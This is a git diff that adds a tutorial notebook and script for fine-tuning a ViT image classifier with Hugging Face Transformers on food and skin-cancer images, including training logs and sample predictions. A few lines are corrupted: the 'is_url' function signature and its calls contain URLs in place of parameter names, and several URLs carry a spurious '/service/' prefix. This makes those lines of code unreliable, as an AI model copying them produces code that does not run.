"
+ ],
+ "text/html": [
+ "\n",
+ " \n",
+ " \n",
+ "
\n",
+ " [7104/7104 3:46:15, Epoch 3/3]\n",
+ "
\n",
+ " \n",
+ " \n",
+ " \n",
+ " Step \n",
+ " Training Loss \n",
+ " Validation Loss \n",
+ " Accuracy \n",
+ " F1 \n",
+ " \n",
+ " \n",
+ " \n",
+ " \n",
+ " 1000 \n",
+ " 1.440300 \n",
+ " 0.582373 \n",
+ " 0.853149 \n",
+ " 0.852764 \n",
+ " \n",
+ " \n",
+ " 2000 \n",
+ " 0.703100 \n",
+ " 0.453642 \n",
+ " 0.878297 \n",
+ " 0.878230 \n",
+ " \n",
+ " \n",
+ " 3000 \n",
+ " 0.434700 \n",
+ " 0.409464 \n",
+ " 0.886455 \n",
+ " 0.886492 \n",
+ " \n",
+ " \n",
+ " 4000 \n",
+ " 0.310100 \n",
+ " 0.394801 \n",
+ " 0.889188 \n",
+ " 0.888990 \n",
+ " \n",
+ " \n",
+ " 5000 \n",
+ " 0.245100 \n",
+ " 0.383308 \n",
+ " 0.895168 \n",
+ " 0.895035 \n",
+ " \n",
+ " \n",
+ " 6000 \n",
+ " 0.115700 \n",
+ " 0.379927 \n",
+ " 0.896515 \n",
+ " 0.896743 \n",
+ " \n",
+ " \n",
+ " 7000 \n",
+ " 0.108100 \n",
+ " 0.376985 \n",
+ " 0.898059 \n",
+ " 0.898311 \n",
+ " \n",
+ " \n",
+ "
"
+ ]
+ },
+ "metadata": {}
+ },
+ {
+ "output_type": "stream",
+ "name": "stderr",
+ "text": [
+ "***** Running Evaluation *****\n",
+ " Num examples = 25250\n",
+ " Batch size = 8\n",
+ "Saving model checkpoint to ./vit-base-food/checkpoint-1000\n",
+ "Configuration saved in ./vit-base-food/checkpoint-1000/config.json\n",
+ "Model weights saved in ./vit-base-food/checkpoint-1000/pytorch_model.bin\n",
+ "Image processor saved in ./vit-base-food/checkpoint-1000/preprocessor_config.json\n",
+ "***** Running Evaluation *****\n",
+ " Num examples = 25250\n",
+ " Batch size = 8\n",
+ "Saving model checkpoint to ./vit-base-food/checkpoint-2000\n",
+ "Configuration saved in ./vit-base-food/checkpoint-2000/config.json\n",
+ "Model weights saved in ./vit-base-food/checkpoint-2000/pytorch_model.bin\n",
+ "Image processor saved in ./vit-base-food/checkpoint-2000/preprocessor_config.json\n",
+ "***** Running Evaluation *****\n",
+ " Num examples = 25250\n",
+ " Batch size = 8\n",
+ "Saving model checkpoint to ./vit-base-food/checkpoint-3000\n",
+ "Configuration saved in ./vit-base-food/checkpoint-3000/config.json\n",
+ "Model weights saved in ./vit-base-food/checkpoint-3000/pytorch_model.bin\n",
+ "Image processor saved in ./vit-base-food/checkpoint-3000/preprocessor_config.json\n",
+ "Deleting older checkpoint [vit-base-food/checkpoint-1000] due to args.save_total_limit\n",
+ "***** Running Evaluation *****\n",
+ " Num examples = 25250\n",
+ " Batch size = 8\n",
+ "Saving model checkpoint to ./vit-base-food/checkpoint-4000\n",
+ "Configuration saved in ./vit-base-food/checkpoint-4000/config.json\n",
+ "Model weights saved in ./vit-base-food/checkpoint-4000/pytorch_model.bin\n",
+ "Image processor saved in ./vit-base-food/checkpoint-4000/preprocessor_config.json\n",
+ "Deleting older checkpoint [vit-base-food/checkpoint-2000] due to args.save_total_limit\n",
+ "***** Running Evaluation *****\n",
+ " Num examples = 25250\n",
+ " Batch size = 8\n",
+ "Saving model checkpoint to ./vit-base-food/checkpoint-5000\n",
+ "Configuration saved in ./vit-base-food/checkpoint-5000/config.json\n",
+ "Model weights saved in ./vit-base-food/checkpoint-5000/pytorch_model.bin\n",
+ "Image processor saved in ./vit-base-food/checkpoint-5000/preprocessor_config.json\n",
+ "Deleting older checkpoint [vit-base-food/checkpoint-3000] due to args.save_total_limit\n",
+ "***** Running Evaluation *****\n",
+ " Num examples = 25250\n",
+ " Batch size = 8\n",
+ "Saving model checkpoint to ./vit-base-food/checkpoint-6000\n",
+ "Configuration saved in ./vit-base-food/checkpoint-6000/config.json\n",
+ "Model weights saved in ./vit-base-food/checkpoint-6000/pytorch_model.bin\n",
+ "Image processor saved in ./vit-base-food/checkpoint-6000/preprocessor_config.json\n",
+ "Deleting older checkpoint [vit-base-food/checkpoint-4000] due to args.save_total_limit\n",
+ "***** Running Evaluation *****\n",
+ " Num examples = 25250\n",
+ " Batch size = 8\n",
+ "Saving model checkpoint to ./vit-base-food/checkpoint-7000\n",
+ "Configuration saved in ./vit-base-food/checkpoint-7000/config.json\n",
+ "Model weights saved in ./vit-base-food/checkpoint-7000/pytorch_model.bin\n",
+ "Image processor saved in ./vit-base-food/checkpoint-7000/preprocessor_config.json\n",
+ "Deleting older checkpoint [vit-base-food/checkpoint-5000] due to args.save_total_limit\n",
+ "\n",
+ "\n",
+ "Training completed. Do not forget to share your model on huggingface.co/models =)\n",
+ "\n",
+ "\n",
+ "Loading best model from ./vit-base-food/checkpoint-7000 (score: 0.37698468565940857).\n"
+ ]
+ },
+ {
+ "output_type": "execute_result",
+ "data": {
+ "text/plain": [
+ "TrainOutput(global_step=7104, training_loss=0.47385838654664186, metrics={'train_runtime': 13577.408, 'train_samples_per_second': 16.737, 'train_steps_per_second': 0.523, 'total_flos': 1.76256801415296e+19, 'train_loss': 0.47385838654664186, 'epoch': 3.0})"
+ ]
+ },
+ "metadata": {},
+ "execution_count": 19
+ }
+ ],
+ "source": [
+ "# start training\n",
+ "trainer.train()"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": 20,
+ "metadata": {
+ "id": "akZ0-H5YQSuJ",
+ "colab": {
+ "base_uri": "https://localhost:8080/",
+ "height": 211
+ },
+ "outputId": "85b9cf1b-3fca-47ed-b4fe-5de2839e8cd5"
+ },
+ "outputs": [
+ {
+ "output_type": "stream",
+ "name": "stderr",
+ "text": [
+ "***** Running Evaluation *****\n",
+ " Num examples = 25250\n",
+ " Batch size = 8\n"
+ ]
+ },
+ {
+ "output_type": "display_data",
+ "data": {
+ "text/plain": [
+ ""
+ ],
+ "text/html": [
+ "\n",
+ " \n",
+ " \n",
+ "
\n",
+ " [3157/3157 08:06]\n",
+ "
\n",
+ " "
+ ]
+ },
+ "metadata": {}
+ },
+ {
+ "output_type": "execute_result",
+ "data": {
+ "text/plain": [
+ "{'eval_loss': 0.37698468565940857,\n",
+ " 'eval_accuracy': 0.8980594059405941,\n",
+ " 'eval_f1': 0.8983106653355424,\n",
+ " 'eval_runtime': 487.0104,\n",
+ " 'eval_samples_per_second': 51.847,\n",
+ " 'eval_steps_per_second': 6.482,\n",
+ " 'epoch': 3.0}"
+ ]
+ },
+ "metadata": {},
+ "execution_count": 20
+ }
+ ],
+ "source": [
+ "# trainer.evaluate(dataset[\"test\"])\n",
+ "trainer.evaluate()"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "wAZFCk5Gd1p0"
+ },
+ "outputs": [],
+ "source": [
+ "# start tensorboard\n",
+ "# %load_ext tensorboard\n",
+ "%reload_ext tensorboard\n",
+ "%tensorboard --logdir ./vit-base-food/runs"
+ ]
+ },
+ {
+ "cell_type": "markdown",
+ "metadata": {
+ "id": "H_SsuMpFafPe"
+ },
+ "source": [
+ "## Alternatively: Training using PyTorch Loop\n",
+ "Run the two below cells to fine-tune using a regular PyTorch loop if you want."
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "C29idUGDd2yW"
+ },
+ "outputs": [],
+ "source": [
+ "# Training loop\n",
+ "from torch.utils.tensorboard import SummaryWriter\n",
+ "from torch.optim import AdamW\n",
+ "from torch.utils.data import DataLoader\n",
+ "\n",
+ "batch_size = 32\n",
+ "\n",
+ "train_dataset_loader = DataLoader(dataset[\"train\"], collate_fn=collate_fn, batch_size=batch_size, shuffle=True)\n",
+ "valid_dataset_loader = DataLoader(dataset[\"validation\"], collate_fn=collate_fn, batch_size=batch_size, shuffle=True)\n",
+ "\n",
+ "# define the optimizer\n",
+ "optimizer = AdamW(model.parameters(), lr=1e-5)\n",
+ "\n",
+ "log_dir = \"./image-classification/tensorboard\"\n",
+ "summary_writer = SummaryWriter(log_dir=log_dir)\n",
+ "\n",
+ "num_epochs = 3\n",
+ "model = model.to(device)\n",
+ "# print some statistics before training\n",
+ "# number of training steps\n",
+ "n_train_steps = num_epochs * len(train_dataset_loader)\n",
+ "# number of validation steps\n",
+ "n_valid_steps = len(valid_dataset_loader)\n",
+ "# current training step\n",
+ "current_step = 0\n",
+ "# logging, eval & save steps\n",
+ "save_steps = 1000\n",
+ "\n",
+ "def compute_metrics(eval_pred):\n",
+ " accuracy_score = accuracy.compute(predictions=eval_pred.predictions, references=eval_pred.label_ids)\n",
+ " f1_score = f1.compute(predictions=eval_pred.predictions, references=eval_pred.label_ids, average=\"macro\")\n",
+ " return {**accuracy_score, **f1_score}"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "2v6dNtUcd7-G"
+ },
+ "outputs": [],
+ "source": [
+ "for epoch in range(num_epochs):\n",
+ " # set the model to training mode\n",
+ " model.train()\n",
+ " # initialize the training loss\n",
+ " train_loss = 0\n",
+ " # initialize the progress bar\n",
+ " progress_bar = tqdm(range(current_step, n_train_steps), \"Training\", dynamic_ncols=True, ncols=80)\n",
+ " for batch in train_dataset_loader:\n",
+ " if (current_step+1) % save_steps == 0:\n",
+ " ### evaluation code ###\n",
+ " # evaluate on the validation set\n",
+ " # if the current step is a multiple of the save steps\n",
+ " print()\n",
+ " print(f\"Validation at step {current_step}...\")\n",
+ " print()\n",
+ " # set the model to evaluation mode\n",
+ " model.eval()\n",
+ " # initialize our lists that store the predictions and the labels\n",
+ " predictions, labels = [], []\n",
+ " # initialize the validation loss\n",
+ " valid_loss = 0\n",
+ " for batch in valid_dataset_loader:\n",
+ " # get the batch\n",
+ " pixel_values = batch[\"pixel_values\"].to(device)\n",
+ " label_ids = batch[\"labels\"].to(device)\n",
+ " # forward pass\n",
+ " outputs = model(pixel_values=pixel_values, labels=label_ids)\n",
+ " # get the loss\n",
+ " loss = outputs.loss\n",
+ " valid_loss += loss.item()\n",
+ " # free the GPU memory\n",
+ " logits = outputs.logits.detach().cpu()\n",
+ " # add the predictions to the list\n",
+ " predictions.extend(logits.argmax(dim=-1).tolist())\n",
+ " # add the labels to the list\n",
+ " labels.extend(label_ids.tolist())\n",
+ " # make the EvalPrediction object that the compute_metrics function expects\n",
+ " eval_prediction = EvalPrediction(predictions=predictions, label_ids=labels)\n",
+ " # compute the metrics\n",
+ " metrics = compute_metrics(eval_prediction)\n",
+ " # print the stats\n",
+ " print()\n",
+ " print(f\"Epoch: {epoch}, Step: {current_step}, Train Loss: {train_loss / save_steps:.4f}, \" + \n",
+ " f\"Valid Loss: {valid_loss / n_valid_steps:.4f}, Accuracy: {metrics['accuracy']}, \" +\n",
+ " f\"F1 Score: {metrics['f1']}\")\n",
+ " print()\n",
+ " # log the metrics\n",
+ " summary_writer.add_scalar(\"valid_loss\", valid_loss / n_valid_steps, global_step=current_step)\n",
+ " summary_writer.add_scalar(\"accuracy\", metrics[\"accuracy\"], global_step=current_step)\n",
+ " summary_writer.add_scalar(\"f1\", metrics[\"f1\"], global_step=current_step)\n",
+ " # save the model\n",
+ " model.save_pretrained(f\"./vit-base-food/checkpoint-{current_step}\")\n",
+ " image_processor.save_pretrained(f\"./vit-base-food/checkpoint-{current_step}\")\n",
+ " # get the model back to train mode\n",
+ " model.train()\n",
+ " # reset the train and valid loss\n",
+ " train_loss, valid_loss = 0, 0\n",
+ " ### training code below ###\n",
+ " # get the batch & convert to tensor\n",
+ " pixel_values = batch[\"pixel_values\"].to(device)\n",
+ " labels = batch[\"labels\"].to(device)\n",
+ " # forward pass\n",
+ " outputs = model(pixel_values=pixel_values, labels=labels)\n",
+ " # get the loss\n",
+ " loss = outputs.loss\n",
+ " # backward pass\n",
+ " loss.backward()\n",
+ " # update the weights\n",
+ " optimizer.step()\n",
+ " # zero the gradients\n",
+ " optimizer.zero_grad()\n",
+ " # log the loss\n",
+ " loss_v = loss.item()\n",
+ " train_loss += loss_v\n",
+ " # increment the step\n",
+ " current_step += 1\n",
+ " progress_bar.update(1)\n",
+ " # log the training loss\n",
+ " summary_writer.add_scalar(\"train_loss\", loss_v, global_step=current_step)\n",
+ " "
+ ]
+ },
+ {
+ "cell_type": "markdown",
+ "source": [
+ "# Performing Inference"
+ ],
+ "metadata": {
+ "id": "5nyMP4VRC_dG"
+ }
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "nuOoflvoen7E"
+ },
+ "outputs": [],
+ "source": [
+ "# load the best model, change the checkpoint number to the best checkpoint\n",
+ "# if the last checkpoint is the best, then ignore this cell\n",
+ "best_checkpoint = 7000\n",
+ "# best_checkpoint = 150\n",
+ "model = ViTForImageClassification.from_pretrained(f\"./vit-base-food/checkpoint-{best_checkpoint}\").to(device)\n",
+ "# model = ViTForImageClassification.from_pretrained(f\"./vit-base-skin-cancer/checkpoint-{best_checkpoint}\").to(device)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": 25,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/",
+ "height": 35
+ },
+ "id": "PwI6sf8PPReE",
+ "outputId": "851ba75d-374c-483f-8e32-2fd38de848f0"
+ },
+ "outputs": [
+ {
+ "output_type": "execute_result",
+ "data": {
+ "text/plain": [
+ "'sushi'"
+ ],
+ "application/vnd.google.colaboratory.intrinsic+json": {
+ "type": "string"
+ }
+ },
+ "metadata": {},
+ "execution_count": 25
+ }
+ ],
+ "source": [
+ "get_prediction(model, \"https://images.pexels.com/photos/858496/pexels-photo-858496.jpeg?auto=compress&cs=tinysrgb&w=600&lazy=load\")"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": 26,
+ "metadata": {
+ "id": "pkmjg6hGQ6DZ"
+ },
+ "outputs": [],
+ "source": [
+ "def get_prediction_probs(model, url_or_path, num_classes=3):\n",
+ " # load the image\n",
+ " img = load_image(url_or_path)\n",
+ " # preprocessing the image\n",
+ " pixel_values = image_processor(img, return_tensors=\"pt\")[\"pixel_values\"].to(device)\n",
+ " # perform inference\n",
+ " output = model(pixel_values)\n",
+ " # get the top k classes and probabilities\n",
+ " probs, indices = torch.topk(output.logits.softmax(dim=1), k=num_classes)\n",
+ " # get the class labels\n",
+ " id2label = model.config.id2label\n",
+ " classes = [id2label[idx.item()] for idx in indices[0]]\n",
+ " # convert the probabilities to a list\n",
+ " probs = probs.squeeze().tolist()\n",
+ " # create a dictionary with the class names and probabilities\n",
+ " results = dict(zip(classes, probs))\n",
+ " return results"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": 27,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "N0pFDs9CRhqX",
+ "outputId": "18f4cc0b-86fe-4575-c7d4-82b832938b56"
+ },
+ "outputs": [
+ {
+ "output_type": "execute_result",
+ "data": {
+ "text/plain": [
+ "{'greek_salad': 0.9658474326133728,\n",
+ " 'caesar_salad': 0.019217027351260185,\n",
+ " 'beet_salad': 0.008294313214719296}"
+ ]
+ },
+ "metadata": {},
+ "execution_count": 27
+ }
+ ],
+ "source": [
+ "# example 1\n",
+ "get_prediction_probs(model, \"https://images.pexels.com/photos/406152/pexels-photo-406152.jpeg?auto=compress&cs=tinysrgb&w=600\")"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": 28,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "urU-gg-gRjkN",
+ "outputId": "6ff8b804-beea-4136-988d-2eb40c732205"
+ },
+ "outputs": [
+ {
+ "output_type": "execute_result",
+ "data": {
+ "text/plain": [
+ "{'grilled_cheese_sandwich': 0.9855711460113525,\n",
+ " 'waffles': 0.0030371786560863256,\n",
+ " 'club_sandwich': 0.0017941497499123216}"
+ ]
+ },
+ "metadata": {},
+ "execution_count": 28
+ }
+ ],
+ "source": [
+ "# example 2\n",
+ "get_prediction_probs(model, \"https://images.pexels.com/photos/920220/pexels-photo-920220.jpeg?auto=compress&cs=tinysrgb&w=600\")"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": 29,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "nHtsyIRLV-3A",
+ "outputId": "bbba9101-6884-4b2b-b7c6-eba4e70fbe10"
+ },
+ "outputs": [
+ {
+ "output_type": "execute_result",
+ "data": {
+ "text/plain": [
+ "{'donuts': 0.9919546246528625,\n",
+ " 'cup_cakes': 0.0018467127811163664,\n",
+ " 'beignets': 0.0009919782169163227}"
+ ]
+ },
+ "metadata": {},
+ "execution_count": 29
+ }
+ ],
+ "source": [
+ "# example 3\n",
+ "get_prediction_probs(model, \"https://images.pexels.com/photos/3338681/pexels-photo-3338681.jpeg?auto=compress&cs=tinysrgb&w=600\")"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": 30,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "qbO_d45dXtwh",
+ "outputId": "ef11eaab-abc9-4519-957e-fbb057d07c8e"
+ },
+ "outputs": [
+ {
+ "output_type": "execute_result",
+ "data": {
+ "text/plain": [
+ "{'deviled_eggs': 0.9846165180206299,\n",
+ " 'caprese_salad': 0.0012617064639925957,\n",
+ " 'ravioli': 0.001060450915247202,\n",
+ " 'beet_salad': 0.0008713295101188123,\n",
+ " 'scallops': 0.0005976424436084926,\n",
+ " 'gnocchi': 0.0005376451299525797,\n",
+ " 'fried_calamari': 0.0005195785779505968,\n",
+ " 'caesar_salad': 0.0003912363899871707,\n",
+ " 'samosa': 0.0003842405858449638,\n",
+ " 'dumplings': 0.00036707069375552237}"
+ ]
+ },
+ "metadata": {},
+ "execution_count": 30
+ }
+ ],
+ "source": [
+ "# example 4\n",
+ "get_prediction_probs(model, \"https://images.pexels.com/photos/806457/pexels-photo-806457.jpeg?auto=compress&cs=tinysrgb&w=600\", num_classes=10)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": 31,
+ "metadata": {
+ "id": "NAhzhcbhXyYA",
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "outputId": "98b811a4-b43f-4c87-b7c2-fcc678281157"
+ },
+ "outputs": [
+ {
+ "output_type": "execute_result",
+ "data": {
+ "text/plain": [
+ "{'fried_rice': 0.8101670145988464,\n",
+ " 'paella': 0.06818010658025742,\n",
+ " 'steak': 0.015688087791204453}"
+ ]
+ },
+ "metadata": {},
+ "execution_count": 31
+ }
+ ],
+ "source": [
+ "get_prediction_probs(model, \"https://images.pexels.com/photos/1624487/pexels-photo-1624487.jpeg?auto=compress&cs=tinysrgb&w=600\")"
+ ]
+ }
+ ],
+ "metadata": {
+ "accelerator": "GPU",
+ "colab": {
+ "provenance": [],
+ "collapsed_sections": [
+ "H9ZcQf_HDXl6",
+ "H_SsuMpFafPe"
+ ],
+ "toc_visible": true
+ },
+ "gpuClass": "standard",
+ "kernelspec": {
+ "display_name": "Python 3",
+ "name": "python3"
+ },
+ "language_info": {
+ "name": "python"
+ },
+ "widgets": {
+ "application/vnd.jupyter.widget-state+json": {
+ "394913b4097b46a7984797f5d1deaaff": {
+ "model_module": "@jupyter-widgets/controls",
+ "model_name": "HBoxModel",
+ "model_module_version": "1.5.0",
+ "state": {
+ "_dom_classes": [],
+ "_model_module": "@jupyter-widgets/controls",
+ "_model_module_version": "1.5.0",
+ "_model_name": "HBoxModel",
+ "_view_count": null,
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diff --git a/machine-learning/finetuning-vit-image-classification/README.md b/machine-learning/finetuning-vit-image-classification/README.md
new file mode 100644
index 00000000..faa5b872
--- /dev/null
+++ b/machine-learning/finetuning-vit-image-classification/README.md
@@ -0,0 +1 @@
+# [How to Fine Tune ViT for Image Classification using Huggingface Transformers in Python](https://www.thepythoncode.com/article/finetune-vit-for-image-classification-using-transformers-in-python)
\ No newline at end of file
diff --git a/machine-learning/finetuning-vit-image-classification/finetuning_vit_for_image_classification.py b/machine-learning/finetuning-vit-image-classification/finetuning_vit_for_image_classification.py
new file mode 100644
index 00000000..32328a9c
--- /dev/null
+++ b/machine-learning/finetuning-vit-image-classification/finetuning_vit_for_image_classification.py
@@ -0,0 +1,446 @@
+# %%
+!pip install transformers evaluate datasets
+
+# %%
+import requests
+import torch
+from PIL import Image
+from transformers import *
+from tqdm import tqdm
+
+device = "cuda" if torch.cuda.is_available() else "cpu"
+
+# %%
+# the model name
+model_name = "google/vit-base-patch16-224"
+# load the image processor
+image_processor = ViTImageProcessor.from_pretrained(model_name)
+# loading the pre-trained model
+model = ViTForImageClassification.from_pretrained(model_name).to(device)
+
+# %%
+import urllib.parse as parse
+import os
+
+# a function to determine whether a string is a URL or not
+def is_url(https://github.com/string):
+ try:
+ result = parse.urlparse(string)
+ return all([result.scheme, result.netloc, result.path])
+ except:
+ return False
+
+# a function to load an image
+def load_image(image_path):
+ if is_url(https://github.com/image_path):
+ return Image.open(requests.get(image_path, stream=True).raw)
+ elif os.path.exists(image_path):
+ return Image.open(image_path)
+
+# %%
+def get_prediction(model, url_or_path):
+ # load the image
+ img = load_image(url_or_path)
+ # preprocessing the image
+ pixel_values = image_processor(img, return_tensors="pt")["pixel_values"].to(device)
+ # perform inference
+ output = model(pixel_values)
+ # get the label id and return the class name
+ return model.config.id2label[int(output.logits.softmax(dim=1).argmax())]
+
+# %%
+get_prediction(model, "http://images.cocodataset.org/test-stuff2017/000000000128.jpg")
+
+# %% [markdown]
+# # Loading our Dataset
+
+# %%
+from datasets import load_dataset
+
+# download & load the dataset
+ds = load_dataset("food101")
+
+# %% [markdown]
+# ## Loading a Custom Dataset using `ImageFolder`
+# Run the three below cells to load a custom dataset (that's not in the Hub) using `ImageFolder`
+
+# %%
+import requests
+from tqdm import tqdm
+
+def get_file(url):
+ response = requests.get(url, stream=True)
+ total_size = int(response.headers.get('content-length', 0))
+ filename = None
+ content_disposition = response.headers.get('content-disposition')
+ if content_disposition:
+ parts = content_disposition.split(';')
+ for part in parts:
+ if 'filename' in part:
+ filename = part.split('=')[1].strip('"')
+ if not filename:
+ filename = os.path.basename(url)
+ block_size = 1024 # 1 Kibibyte
+ tqdm_bar = tqdm(total=total_size, unit='iB', unit_scale=True)
+ with open(filename, 'wb') as file:
+ for data in response.iter_content(block_size):
+ tqdm_bar.update(len(data))
+ file.write(data)
+ tqdm_bar.close()
+ print(f"Downloaded {filename} ({total_size} bytes)")
+ return filename
+
+# %%
+import zipfile
+import os
+
+def download_and_extract_dataset():
+ # dataset from https://github.com/udacity/dermatologist-ai
+ # 5.3GB
+ train_url = "https://s3-us-west-1.amazonaws.com/udacity-dlnfd/datasets/skin-cancer/train.zip"
+ # 824.5MB
+ valid_url = "https://s3-us-west-1.amazonaws.com/udacity-dlnfd/datasets/skin-cancer/valid.zip"
+ # 5.1GB
+ test_url = "https://s3-us-west-1.amazonaws.com/udacity-dlnfd/datasets/skin-cancer/test.zip"
+ for i, download_link in enumerate([valid_url, train_url, test_url]):
+ data_dir = get_file(download_link)
+ print("Extracting", download_link)
+ with zipfile.ZipFile(data_dir, "r") as z:
+ z.extractall("data")
+ # remove the temp file
+ os.remove(data_dir)
+
+# comment the below line if you already downloaded the dataset
+download_and_extract_dataset()
+
+# %%
+from datasets import load_dataset
+
+# load the custom dataset
+ds = load_dataset("imagefolder", data_dir="data")
+
+# %% [markdown]
+# # Exploring the Data
+
+# %%
+ds
+
+# %%
+labels = ds["train"].features["label"]
+labels
+
+# %%
+labels.int2str(ds["train"][532]["label"])
+
+# %%
+import random
+import matplotlib.pyplot as plt
+
+def show_image_grid(dataset, split, grid_size=(4,4)):
+ # Select random images from the given split
+ indices = random.sample(range(len(dataset[split])), grid_size[0]*grid_size[1])
+ images = [dataset[split][i]["image"] for i in indices]
+ labels = [dataset[split][i]["label"] for i in indices]
+
+ # Display the images in a grid
+ fig, axes = plt.subplots(nrows=grid_size[0], ncols=grid_size[1], figsize=(8,8))
+ for i, ax in enumerate(axes.flat):
+ ax.imshow(images[i])
+ ax.axis('off')
+ ax.set_title(ds["train"].features["label"].int2str(labels[i]))
+
+ plt.show()
+
+# %%
+show_image_grid(ds, "train")
+
+# %% [markdown]
+# # Preprocessing the Data
+
+# %%
+def transform(examples):
+ # convert all images to RGB format, then preprocessing it
+ # using our image processor
+ inputs = image_processor([img.convert("RGB") for img in examples["image"]], return_tensors="pt")
+ # we also shouldn't forget about the labels
+ inputs["labels"] = examples["label"]
+ return inputs
+
+# %%
+# use the with_transform() method to apply the transform to the dataset on the fly during training
+dataset = ds.with_transform(transform)
+
+# %%
+for item in dataset["train"]:
+ print(item["pixel_values"].shape)
+ print(item["labels"])
+ break
+
+# %%
+# extract the labels for our dataset
+labels = ds["train"].features["label"].names
+labels
+
+# %%
+import torch
+
+def collate_fn(batch):
+ return {
+ "pixel_values": torch.stack([x["pixel_values"] for x in batch]),
+ "labels": torch.tensor([x["labels"] for x in batch]),
+ }
+
+# %% [markdown]
+# # Defining the Metrics
+
+# %%
+from evaluate import load
+import numpy as np
+
+# load the accuracy and f1 metrics from the evaluate module
+accuracy = load("accuracy")
+f1 = load("f1")
+
+def compute_metrics(eval_pred):
+ # compute the accuracy and f1 scores & return them
+ accuracy_score = accuracy.compute(predictions=np.argmax(eval_pred.predictions, axis=1), references=eval_pred.label_ids)
+ f1_score = f1.compute(predictions=np.argmax(eval_pred.predictions, axis=1), references=eval_pred.label_ids, average="macro")
+ return {**accuracy_score, **f1_score}
+
+# %% [markdown]
+# # Training the Model
+
+# %%
+# load the ViT model
+model = ViTForImageClassification.from_pretrained(
+ model_name,
+ num_labels=len(labels),
+ id2label={str(i): c for i, c in enumerate(labels)},
+ label2id={c: str(i) for i, c in enumerate(labels)},
+ ignore_mismatched_sizes=True,
+)
+
+# %%
+from transformers import TrainingArguments
+
+training_args = TrainingArguments(
+ output_dir="./vit-base-food", # output directory
+ # output_dir="./vit-base-skin-cancer",
+ per_device_train_batch_size=32, # batch size per device during training
+ evaluation_strategy="steps", # evaluation strategy to adopt during training
+ num_train_epochs=3, # total number of training epochs
+ # fp16=True, # use mixed precision
+ save_steps=1000, # number of update steps before saving checkpoint
+ eval_steps=1000, # number of update steps before evaluating
+ logging_steps=1000, # number of update steps before logging
+ # save_steps=50,
+ # eval_steps=50,
+ # logging_steps=50,
+ save_total_limit=2, # limit the total amount of checkpoints on disk
+ remove_unused_columns=False, # remove unused columns from the dataset
+ push_to_hub=False, # do not push the model to the hub
+ report_to='tensorboard', # report metrics to tensorboard
+ load_best_model_at_end=True, # load the best model at the end of training
+)
+
+
+# %%
+from transformers import Trainer
+
+trainer = Trainer(
+ model=model, # the instantiated 🤗 Transformers model to be trained
+ args=training_args, # training arguments, defined above
+ data_collator=collate_fn, # the data collator that will be used for batching
+ compute_metrics=compute_metrics, # the metrics function that will be used for evaluation
+ train_dataset=dataset["train"], # training dataset
+ eval_dataset=dataset["validation"], # evaluation dataset
+ tokenizer=image_processor, # the processor that will be used for preprocessing the images
+)
+
+# %%
+# start training
+trainer.train()
+
+# %%
+# trainer.evaluate(dataset["test"])
+trainer.evaluate()
+
+# %%
+# start tensorboard
+# %load_ext tensorboard
+%reload_ext tensorboard
+%tensorboard --logdir ./vit-base-food/runs
+
+# %% [markdown]
+# ## Alternatively: Training using PyTorch Loop
+# Run the two below cells to fine-tune using a regular PyTorch loop if you want.
+
+# %%
+# Training loop
+from torch.utils.tensorboard import SummaryWriter
+from torch.optim import AdamW
+from torch.utils.data import DataLoader
+
+batch_size = 32
+
+train_dataset_loader = DataLoader(dataset["train"], collate_fn=collate_fn, batch_size=batch_size, shuffle=True)
+valid_dataset_loader = DataLoader(dataset["validation"], collate_fn=collate_fn, batch_size=batch_size, shuffle=True)
+
+# define the optimizer
+optimizer = AdamW(model.parameters(), lr=1e-5)
+
+log_dir = "./image-classification/tensorboard"
+summary_writer = SummaryWriter(log_dir=log_dir)
+
+num_epochs = 3
+model = model.to(device)
+# print some statistics before training
+# number of training steps
+n_train_steps = num_epochs * len(train_dataset_loader)
+# number of validation steps
+n_valid_steps = len(valid_dataset_loader)
+# current training step
+current_step = 0
+# logging, eval & save steps
+save_steps = 1000
+
+def compute_metrics(eval_pred):
+ accuracy_score = accuracy.compute(predictions=eval_pred.predictions, references=eval_pred.label_ids)
+ f1_score = f1.compute(predictions=eval_pred.predictions, references=eval_pred.label_ids, average="macro")
+ return {**accuracy_score, **f1_score}
+
+# %%
+for epoch in range(num_epochs):
+ # set the model to training mode
+ model.train()
+ # initialize the training loss
+ train_loss = 0
+ # initialize the progress bar
+ progress_bar = tqdm(range(current_step, n_train_steps), "Training", dynamic_ncols=True, ncols=80)
+ for batch in train_dataset_loader:
+ if (current_step+1) % save_steps == 0:
+ ### evaluation code ###
+ # evaluate on the validation set
+ # if the current step is a multiple of the save steps
+ print()
+ print(f"Validation at step {current_step}...")
+ print()
+ # set the model to evaluation mode
+ model.eval()
+ # initialize our lists that store the predictions and the labels
+ predictions, labels = [], []
+ # initialize the validation loss
+ valid_loss = 0
+ for batch in valid_dataset_loader:
+ # get the batch
+ pixel_values = batch["pixel_values"].to(device)
+ label_ids = batch["labels"].to(device)
+ # forward pass
+ outputs = model(pixel_values=pixel_values, labels=label_ids)
+ # get the loss
+ loss = outputs.loss
+ valid_loss += loss.item()
+ # free the GPU memory
+ logits = outputs.logits.detach().cpu()
+ # add the predictions to the list
+ predictions.extend(logits.argmax(dim=-1).tolist())
+ # add the labels to the list
